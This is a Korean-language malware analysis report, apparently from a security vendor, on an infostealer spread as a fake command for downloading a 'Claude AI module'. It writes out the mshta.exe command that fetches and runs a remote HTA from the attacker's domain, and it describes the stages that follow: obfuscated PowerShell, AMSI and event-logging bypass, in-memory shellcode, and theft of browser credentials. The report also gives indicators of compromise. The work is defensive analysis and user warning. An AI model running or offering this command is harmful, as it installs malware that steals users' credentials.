AI 열풍 뒤의 그림자: Claude 모듈로 위장한 악성코드

1. 개요

최근 LLM(Large Language Model) 기반의 생성형 AI 시장이 빠르게 성장하면서 다양한 AI 서비스와 모델이 등장하고 있다. OpenAI의 ChatGPT, Google의 Gemini, Anthropic의 Claude 등 여러 기업들이 경쟁적으로 생성형 AI 모델을 개발하고 있으며, 생성형 AI는 기업 환경뿐만 아니라 공공기관, 개인 사용자까지 폭넓게 활용되고 있다.

생성형 AI는 문서 작성, 프로그래밍, 데이터 분석 등 다양한 업무를 자동화할 수 있어 생산성을 크게 향상시키는 장점을 가지고 있다. 그러나, 기술의 발전은 공격자들에게도 새로운 기회를 제공한다. 공격자들은 생성형 AI를 이용해 피싱 메일 작성, 악성코드 개발, 공격 자동화, 유출 데이터 분석 및 정리 등 다양한 공격 활동에 활용하고 있는 것으로 확인되고 있다.

이와 함께 생성형 AI의 높은 관심도를 악용한 공격 사례도 지속적으로 증가하고 있다. 예를 들어 가짜 AI 서비스 사이트, 악성코드를 포함한 AI 애플리케이션, AI 플로그인 설치 프로그램 등을 유포하는 방식이 있다.

최근 인터넷 커뮤니티 및 코드 공유 플랫폼 등에서 Claude AI 모듈을 다운로드하는 명령으로 위장한 악성 명령이 공유되고 있는 사례가 확인되었다. 해당 명령을 실행할 경우 시스템에서 악성코드가 실행되어 시스템 정보가 탈취된다.

본 글에서는 Claude AI 모듈 다운로드 명령으로 위장한 악성 명령을 통해 수행되는 악성코드의 주요 실행 과정을 분석하고자 한다.



2. 악성코드 동작 흐름

[그림 1] 악성코드 동작 개요도

2.1. 악성 명령 실행

사용자가 인터넷에 공유된 아래와 같은 악성 명령을 실행하면서 악성코드 감염이 시작된다.

C:\Windows\SysWOW64\mshta.exe https://download-version.4-1-7.com/claude

해당 명령을 실행하면 mshta.exe 프로그램을 이용해 공격자가 운영하는 악성 도메인에 위치한 HTA(HTML Application) 파일을 실행하도록 구성되어 있다.

공격자는 mshta.exe와 같은 Windows 운영체제의 기본 프로그램을 활용하는 LotL(Living off the Land) 공격과 파일을 저장하지 않고 악성 도메인의 HTA 코드를 바로 실행하는 Fileless 공격을 통해 보안 솔루션의 탐지를 회피한다.


2.2. VBScript(claude) 실행

악성 도메인에서 제공되는 HTA 코드(claude)의 앞 부분에는 실제 코드와 관련 없는 대량의 무의미한 데이터가 포함되어 있다. 이런 데이터는 파일 크기를 비정상적으로 증가시키거나 파일 헤더를 변조해 보안 솔루션의 탐지를 회피하기 위한 목적으로 삽입된다.

[그림 2] HTA 코드(claude)의 앞 부분에 존재하는 무의미한 값들

실제 코드가 존재하는 영역으로 이동하면, HTA 기반 악성 VBScript 코드가 존재한다. 해당 VBScript는 SetArreares 함수에서 IsBear 함수를 호출해 Hex 값을 ASCII 문자열로 변환하고, 변환된 ASCII 문자열을 DefineSplit 함수를 통해 Base64로 디코딩 과정을 수행한다. 이후, 디코딩된 PowerShell 명령을 StartBarter 함수를 통해 작업 스케줄러로 등록한다.

[그림 3] HTA 코드(claude) 내 Hex로 인코딩된 악성 페이로드 중 일부

2.3. 악성 작업 스케줄러 등록

악성 VBScript 실행이 완료되면 시스템에 악성 작업 스케줄러(servicelhb)가 등록된다. 등록된 작업 스케줄러는 등록 시점부터 9초 동안 Base64로 인코딩된 PowerShell 명령을 백그라운드에서 실행한다.

[그림 4] 등록된 악성 작업 스케줄러(servicelhb) 내용

2.4. 인코딩된 PowerShell 악성코드 실행

작업 스케줄러에 의해 실행되는 Base64로 인코딩된 PowerShell 명령을 디코딩하면, 악성코드 초반에 8초 동안 실행을 대기하고 동작되지 않거나, 의미 없는 연산을 수행하면서 정상적인 스크립트처럼 보이도록 위장하는 더미 코드(Junk Code)가 포함되어 있다.

[그림 5] 디코딩된 PowerShell 명령 내 더미 코드(Junk Code)

더미 코드 이후에 Base64로 인코딩된 추가 PowerShell 페이로드가 포함되어 있으며, 해당 페이로드를 디코딩해 실행한다.

[그림 6] 디코딩된 PowerShell 명령 내 Base64 인코딩된 추가 PowerShell 페이로드

추가 PowerShell 페이로드가 실행되면, 감염된 시스템을 식별하기 위한 고유 ID를 생성한다. 고유 ID는 호스트 명과 사용자 명을 합친 문자열을 UTF-8로 변환한 뒤 MD5 해시 값을 생성한다. 생성된 MD5 해시 값에서 '-' 문자를 제거하고, 소문자로 변환해 앞 16자리를 사용한다.

[그림 7] 고유 ID 생성 코드
COMPUTERNAME: PC01
USERNAME: PLAINBIT

MD5: 376657f298bf576911d589e2f640693d
고유 ID: 376657f298bf5769

고유 ID 생성 예시

이후, 생성한 고유 ID를 서브 도메인으로 구성한 악성 도메인 URL이 생성된다. 공격자는 서브 도메인에 감염된 시스템별 고유 ID를 넣어 감염된 시스템을 식별하고, 감염 시스템별 다른 페이로드를 실행할 수 있다.

[그림 8] 악성 도메인 URL 생성 코드
https://<감염ID>.brambleufer.ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1

악성 도메인 URL 패턴

마지막으로 생성된 URL을 통해 추가 악성 도메인으로부터 PowerShell 스크립트(cloude-91267b64-989f-49b4-89b4-984e0154d4d1)의 내용을 다운로드하고, 보안 솔루션에서 탐지하기 어렵도록 메모리에서 실행한다.

[그림 9] 악성 도메인에서 추가 페이로드 내용을 다운로드 후 실행하는 코드

2.5. 난독화된 PowerShell 악성코드 실행

악성 도메인에서 추가로 다운로드 후 실행하는 페이로드는 아래와 같은 다양한 난독화 기법이 적용되어 있어 코드의 실제 동작을 파악하기 어렵도록 구성되어 있다.

난독화 기법 내용
Arithmetic Obfuscation 숫자를 그대로 입력하지 않고, 불필요한 산술 연산을 통해 코드 난독화
Junk Code 실행 결과에 영향을 주지 않는 동작으로 코드 난독화
Random Variable Name 변수 명을 랜덤으로 설정해 코드 난독화
Division 문자를 분할하고 결합해 코드 난독화
Reorder 문자 결합 시 순서를 지정해 코드 난독화
Ascii Char Assigns 코드 문자열에 해당하는 Ascii 코드를 사용해 코드 난독화
Encoding Byte 값을 UTF-8 문자열로 변환 후 Base64
Encryption XOR 연산을 통해 문자열 암호화해 코드 난독화
[그림 10] 난독화된 PowerShell 악성코드 내용 중 일부

난독화된 PowerShell 악성코드에 포함되어 있는 더미 코드(Junk Code)를 제외하고 실제 악성 행위를 수행하는 코드 부분을 연산한 뒤 해당하는 ASCII 코드 값으로 변환한다.

[그림 11] 난독화된 PowerShell 악성코드 복호화 과정

변환한 ASCII 코드를 결합하면 아래와 같은 복호화된 PowerShell 악성코드를 확인할 수 있다. 해당 악성코드는 '$JPt5DaKYGoAED' 변수에 저장되어 있는 페이로드를 UTF-8 문자열로 변환한 뒤 Base64 디코딩을 수행한다.

이후, 'AMSI_RESULT_NOT_DETECTED' 문자열을 키로 사용해 XOR 복호화한 결과를 PowerShell ScriptBlock 형태로 생성하고 메모리에서 실행한다.

[그림 12] 추가 페이로드(2차) 복호화 및 실행 코드 (일부 변수 명 변경)

추가로 실행되는 PowerShell 악성코드(2차)를 분석하면, 아래와 같은 기능을 수행한다.

1) amsi.dll의 내부 함수(AmsiInitialize)를 항상 정상 결과(AMSI_RESULT_CLEAN)를 반환하도록 수정해 AMSI 검사 무력화

2) ntdll.dll의 내부 함수(EtwEventWrite)를 동작하지 않도록 수정해 이벤트 로깅 기능 무력화

[그림 13] AMSI 검사 무력화 코드(좌) / 이벤트 로깅 기능 무력화 코드(우)

이후, '$mingsfqwo86h8qsbk' 변수에 저장되어 있는 페이로드를 모듈러 연산 후 XOR 복호화를 수행한다. 복호화된 결과 값 앞의 37Byte와 뒤의 9Byte를 제거한 문자열을 PowerShell ScriptBlock 형태로 생성하고 메모리에서 실행한다.

[그림 14] 추가 페이로드(3차) 복호화 및 실행 코드

추가로 실행되는 PowerShell 악성코드(3차)는 '$cqlptgx5d7vlrgs' 변수에 저장되어 있는 페이로드를 KEY 값을 변화하면서 XOR 복호화를 수행한다.

[그림 15] 추가 페이로드(4차) 복호화 및 실행 코드

페이로드를 복호화하면 아래와 같은 ShellCode가 메모리에서 실행하게 되고, 복호화된 페이로드를 다시 XOR로 암호화해 보안 솔루션의 탐지를 회피한다.

[그림 16] 복호화된 ShellCode 내용 중 일부

2.6. ShellCode 실행

메모리에서 실행되는 ShellCode는 새로운 메모리를 할당하고, 할당한 메모리에 다른 주소에 존재하는 페이로드 데이터를 복사한다.

[그림 17] 새로 할당한 메모리 영역에 페이로드 복사하는 과정

복사한 페이로드는 XOR로 복호화와 재정렬 과정을 통해 악성 파일 데이터로 메모리에 저장된다.

[그림 18] 복사된 페이로드 데이터(좌) / 복호화된 페이로드 데이터(우)
[그림 19] 복호화된 페이로드 데이터(좌) / 최종 페이로드 데이터(우)

최종적으로 악성코드는 시스템 내 정보(호스트 명, 브라우저 내 저장된 계정 정보 등)를 탈취하는 인포스틸러(Infostealer) 기능을 수행하며, 악성 C2 서버로 탈취한 정보를 전송한다.

[그림 20] 악성코드에 저장되어 있는 악성 C2 서버


3. 결론

공격자는 항상 사람들의 관심도가 높은 주제를 악용해 공격을 수행한다. 최근 생성형 AI 열풍은 사용자들에게 편의성과 생산성 향상을 제공하고 있지만, 동시에 공격자들에게는 새로운 공격 수단으로 활용되고 있다.

기업 환경의 경우 보안 솔루션 도입과 모니터링 등을 통해 일정 수준의 보안 체계가 구성되어 있는 경우가 많다. 그러나, 개인 사용자의 경우 운영체제에서 기본적으로 제공하는 백신 외에는 별도의 보안 체계를 갖추지 못한 경우가 많아 공격에 더욱 취약할 수 있다.

특히, 본 글에서 분석한 악성코드처럼 파일 형태가 아닌, 메모리에서 실행되는 Fileless 공격 방식은 백신에서 탐지되기 어렵다.

따라서, 안전한 보안 환경을 유지하기 위해 다음과 같은 수칙을 준수할 필요가 있다.

  • 검증된 경로에서 파일 다운로드
    • 모든 파일은 공식 사이트 또는 신뢰된 경로를 통해서만 다운로드해야 하며, 출처가 불분명한 프로그램이나 스크립트는 실행하지 않는 것이 중요하다.
  • 검증된 명령어 실행
    • 웹 사이트에 게시된 터미널 명령어(curl, wget, mshta.exe 등)를 검증하지 않고 복사해 실행하는 행위는 주의해야 한다.
  • 지속적인 호스트 모니터링
    • 시스템에 악성 작업 스케줄러가 등록되었는지, 알 수 없는 인코딩된 명령이 실행되었는지, 악성 도메인으로 접근한 이력이 있었는지 등을 지속적으로 모니터링하는 것이 필요하다.


4. IoC

Domain

  • download-version.4-1-7[.]com
  • brambleufer[.]ru

IP

  • 77.91.96.218 (베트남)

Hash (SHA-1)

  • A080C0CC1182B693412E0A56BCBFAFD36B2AB70F : claude